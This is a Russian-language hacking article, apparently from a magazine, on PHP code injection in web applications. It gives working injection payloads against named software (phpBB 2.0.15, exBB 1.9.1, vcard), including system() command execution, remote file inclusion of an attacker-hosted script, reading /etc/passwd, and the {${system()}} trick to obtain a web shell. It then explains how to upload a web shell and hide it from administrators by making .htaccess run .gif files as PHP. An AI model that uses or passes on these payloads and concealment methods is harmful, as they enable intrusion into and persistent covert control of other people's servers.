И так, перед нами фрагмент кода viewtopic.php из phpBB версии 2.0.15:
Код:
$message = str_replace('\"', '"', substr(@preg_replace
('#(\>(((?>([^><]+|(?R)))*)\<))#se',
"@preg_replace('#\b(" . str_replace('\\',
'\\\\', $highlight_match) . ")\b#i',
'<span style=\"color:#" . $theme['fontcolor3'] .
"\"><b>\\\\1</b></span>', '\\0')"
, '>' . $message . '<'), 1, -1));
highlight_match - переменная, где лежат слова, которые следует подсветить. Пользователь задает
$_GET['highlght'], где пробелы разделяют различные слова.
$highlight_match - его потомок, где вместо пробелов используется |. Трудно разбирать такое длинное выражение. Ну вам собственно и не требуется понять смысл сего полностью. Взгляните -
$highlight_match учавствует в параметре
replacement функции
preg_replace, где в заменяемой подстроке участвует модификатор «e». Причем
$highlight_match нигде не обрамляется в
addslashes. Это означает что мы можем внедриться в тот PHP-сценарий, который выполнится перед заменой подстроки в строке $message.
Если пользователю задать
highlight как
'.system('dir').', то то, что выполнит скрипт перед заменой в
$message будет иметь примерно такой вид:
Код:
preg_replace('#\b('.system('dir').')\b#i', '...', '...')
2.3.2 preg_replace with /e and with NULL
Как уже было сказано, условно можно считать, что непопорченый
magic_quotes_gpc или
addslashes NULL отрезает правую часть строки. Для чего это может быть использовано? Оказывается, много для чего. Нужно только воображение. В частонсти очень хорошо
NULL можно применить при работе с
preg_replace. Если в заменяемой подстроке, определяемой регулярным выражением, всунута переменная, которую тем или иным способом определяет пользователь, можно попробовать изменить структуру заменяемой подстроки так, чтобы в конце стоял модификатор
/e. Рассмотрим простенький пример:
Код:
preg_replace("#$c#i", '\\1', $mda);
Представим, что и $c и $mda мы можем как-то определить. По-настоящему - в результате каких-то телодвижений, ну а у нас в эксперименте пускай мы зададим $mda и $c прямо через GET.
Код:
script.php?c=(system\(ls\))%23e%00&mda=system(ls)
В результате мы получим листинг файлового каталога. А почему это так - попробуйте подумать сами, обо всем этом уже писалось в данной статье.
%23 - URL-закодированный символ
#.
2.4 Движки на файлах
Некоторые бесплатные хостеры не предоставляют доступ к MySQL. Для таких случаев пишутся движки на т.н. текстовых ДБ, т.е. ДБ ввиде обычных файлов в домашнем каталоге. Структура и общение с текстовыми ДБ может быть самая разная. Иногда разработчики даже придумывают библиотеки функций для работы с текстовыми ДБ с помощью некоего подобия языка SQL. В таком случае текстовая DB представляет из себя папки и файлы, где (например) папки - это базы данных, файлы - таблицы, а внутри файлов все как-то мудрено организовано ввиде структуры таблицы. Это как пример.
Нас будет интересовать другой подход к организации ДБ на файлах. Например, что может быть проще того, чтобы заносить все данные в некий PHP файл, доступ к которому будет закрыт из вне, с тем чтобы потом его инклудать и получать массивы данных прямо в готовом виде. Рассмотрим уязвимость в exBB 1.9.1.
Нам неважно то, как мы сможем получить доступ к админ панели (это делается с помощью других, не PHP-inj уязвимостей в движке), но главное что такая возможность есть. Зайдем в админ панель, в конфигурации.
Теперь поищем, где хранятся все эти данные. Оказывается, что они лежат как раз в таком инклудаемом файле (доступ к нему закрыт .htaccess'ом). Файл имет вид:
Код:
<?
$exbb['boardurl'] = 'http://exbb';
$exbb['home_path'] = 'z:/home/exbb/www/';
$exbb['boardname'] = 'Название форума';
$exbb['boarddesc'] = 'описание форума';
$exbb['announcements'] = 1;
$exbb['topics_per_page'] = 15;
$exbb['posts_per_page'] = 10;
$exbb['ch_files'] = 0777;
$exbb['ch_dirs'] = 0777;
$exbb['ru_nicks'] = 1;
$exbb['reg_simple'] = 0;
$exbb['default_lang'] = 'russian';
$exbb['default_style'] = 'Original';
$exbb['membergone'] = 15;
...
Я сумел выйти за кавычку только в одном из параметров. Это -
$exbb['boardurl']. Т.е. в итоге я получил такой код:
Код:
$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''
Если переменные хранят значения за двойными кавычками
", то нам даже необязательно выходить за них, что было необходимо с
'. Во-первых, мы можем вывести себе любую переменную, просто прописав ее имя, а во-вторых можем выполнить любую функцию, в т.ч. всякие
system и аналоги с помощью трюка, который описан ниже.
2.5 Что еще могет быть ?
Рассмотрим подробнее некоторые конкретные, часто встречающиеся, примеры.
!!!!!Опасно!!!!!
1)Использовать массив данных, без предварительного объявления. Например:
Код:
for($i=0;$i<10;$i++)
{
@$a[$i]=$s[$i];
//Копируем 10 первых
//элементов массива $s
//в a без определения $a
}
for($i=0;$i<count($a);$i++)
{
eval('$y['.$a[$i].']='.$i);
//какое-то извращение
//криворукого программера =)
}
Подразумевается, что $s - «безопасный» массив, т.е. никакой опасности
для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals.
Если послать такой GET запрос:
Код:
http://host/script.php?a[10]=1;system('ls');//
Мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от 0-го элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому т.о. мы получим доступ к якобы уже определенному массиву.
Для избавелния от данной ошибки, надо предварительно написать определение
$a=array().
При передаче элемента массива через GET, POST запросы или куки, ключ не ставится в кавычки. Т.е. например в запросе следует писать array[nameindex] а не array[
'nameindex
'].
Эту ошибку часто можно встретить при работе с модульными файлами. Т.е. расчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и, иногда, при особым образом сформированном запросе непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще - движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - вообще очень лакомый кусочек, т.к. часто там можно встретить,
include,
require,
eval и др. с использованием неопределенных переменных.
2)Каким-либо образом подвергать уже определенные переменные опасности переопределения. Рассмотрим конкретную ошибку PHP-инъекции в
vcard.
Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (т.е. файл, к которому предполагается непосредственное обращение пользователя) в самом начале этого скрипта. Все конфигурационные данные представляют из себя элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET в одноименные переменные внутри скрипта.
Код:
if (!empty($_GET))
{
foreach ($_GET as $tmp_varname => $tmp_value)
{
$$tmp_varname = $tmp_value;
}
}
Обратите внимание, что это происходит после того как были определены конфигурацинные данные! Т.о. мы можем переопределить все конфигурационные данные, сформировав запрос примерно такого вида:
Код:
index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd
С помощью представленной уязвимости можно инклудить произвольный файл, загружать на сервер свои файлы и т.д. Уязвимость нашел
ShanKaR.
3)Не думать о разнице между
" и
'. Выше я упоминал про взлом хацкерского ресурса. Осуществлен он был через следующий фрагмент скрипта:
Код:
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
Где в качестве
$HTTP_GET_VARS[$register_poll_vars[$i]] можно было подставить параметр id. Если бы в скрипте, например, была бы объявлена переменная, содержащая пароль к ДБ, а значение этой самой
$$register_poll_vars[$i] выводилось бы где-то в stdout'е, мы бы могли передать в id строку $dbpasswd (переменная, содержащая пароль) и получили бы пароль от ДБ.

Но это еще полбеды. Дело в том, что разработчики позаботились о том, чтобы мы могли вызывать произвольную функцию прямо из строки (не "bla".func()."bla", а непосредственно без выхода за двойную кавычку). Делается это так:
{${function()}}
Где function() - обращение к произвольной функции. Т.е. если передать нашему скрипту строку
{${system([COMMAND])}}, мы получим веб-шелл.
Примечания ко второму разделу
1)В заметке 2.1 загруженный скрипт будет являться PHP-интерпретируемым в том случае, когда на каталог с загруженными файлами не стоит соотвтествующей директивы. Чтобы ее установить (Apache) нужно создать файл .htaccess в этой папке, или в папке уровнем ниже примерно с таким содержанием:
Код:
RemoveType .php3 .php .php4 .php5 .phtml .phtm .cgi .pl
Среди пречисленных расширений должны быть указаны все те, файлы с которыми интерпретируются как скрипты.
2)К заметке 2.3. Каждый параметр
preg_replace может быть массивом.
PHP-injection 2 web-shell
Т.к. обнаруженные баги на сайтах обычно долго не живут, то держать ввиде веб-шелла саму уязвимость не только неудобно, но и ненадежно. Здесь я опишу как нам залить на сайт и укромно припрятать вебшелл.
Прежде всего, у нас должна быть папка с правами на запись. Чтобы получить листинг файлов и папок с правами рекурсивно воспользуйтесь командой:
Для Windows:
В случае если доступ к cmd из скрипта запрещен -
тут Вы сможете взять скрипт, который выводит рекурсивно все файлы и папки, напротив тех, на которые разрешена запись ставится 1 (используйте include('http://smth.narod.ru/script.php') в php-инъекции).
Вот теперь, когда вы нашли директорию с правами на запись, надо залить сам скрипт.
Для того чтобы узнать какая качалка стоит на сервере выполните следующую команду:
Код:
which get;which wget;which lynx;which curl;which fetch;which links
В ответ будут выведены пути к соответствующим утилитам. Пользоваться каждой из них очень просто.
Если доступа к cmd нет, можно обойтись простым PHP скриптом. Скрипт для заливки удаленного файла на
здеся.
Теперь нам надо спрятать наш скриптик, чтобы админ, пропатчив приложение не заметил его беглым взглядом. Чтобы спрятать шелл, нужно придумать ему неприметное название. Но если он, например, находится в папке для аватар, то как его не переименовывай, файл с расширением php - белая ворона среди гифок и джепегешок. Но что нам мешает загрузить в папку .htaccess файл и указать, что файлы с расширением gif интерпретировать как PHP скрипт. Строку
«AddType application/x-httpd-php gif» можно занести в .htaccess с помощью echo из cmd или простейшим скриптом.
В случае установленного на сервере
safe_mode Вы не сможете использовать функции выполнения системных команд и программ. К счастью, safe_mode это директива PHP, так что если PHP-инъекцию удасться найти можно будет химичить с Perl'ом, на которого ограничения safe_mode никак не распространяются.
Тут есть пример вебшелла на перле.
Ко всему выше сказанному
Не забывайте, что, согласно HTTP протоколу, пользователь может отправлять параметры скрипту четырмя способами:
GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере, и пользователем модифицирована быть не может, в то время как куки вы можете спокойно модифицировать. Это можно делать перед подачей в браузер (с помощью спец. программ или заложенных в браузер возможностей), а проще обхоиться вообще без бруазера, т.е. генерировать HTTP запросы самому (делать это можно с помощью чего угодно, например есть такая программа Инет кряк), благо основы HTTP выучить можно буквально за несколько минут. Прелесть в том, что многие начинающие веб-программисты относятся к кукакм как к чему-то такому, что проверять надо менее строго чем POST и GET (ну вроде того что последние два можно задавать прямо в строке браузера или в формочке на сайте, а куки еще и «хрен знает как ты подделаешь»), поэтому, очень часто, уязвимости можно встретить именно в параметрах, передаваемых куками. Это могут быть как XSS, SQL-injection так и PHP-injection.
Я рекомендую (угагага) для поиска уязвимостей PHP-injection писать программку, которая бы сканировала все файлы движка и вынимала из них всяческие подозрительные вещи, например все то, что описано в статье. Все eval, строки регулярных выражений с модификатором
e, не говоря уже о
include,
require и т.д. А анализируется подобный материал потом достаточно быстро и просто. Простенький пример такой программки можете взять на
тута вот(Лучше переписать, т.к. это просто иллюстрация). Хотя, конечно, не всегда найти что хочешь можно путем анализа логов подобной программы.
Специально для ][ от Zadoxlik'а с antichat.ru, о как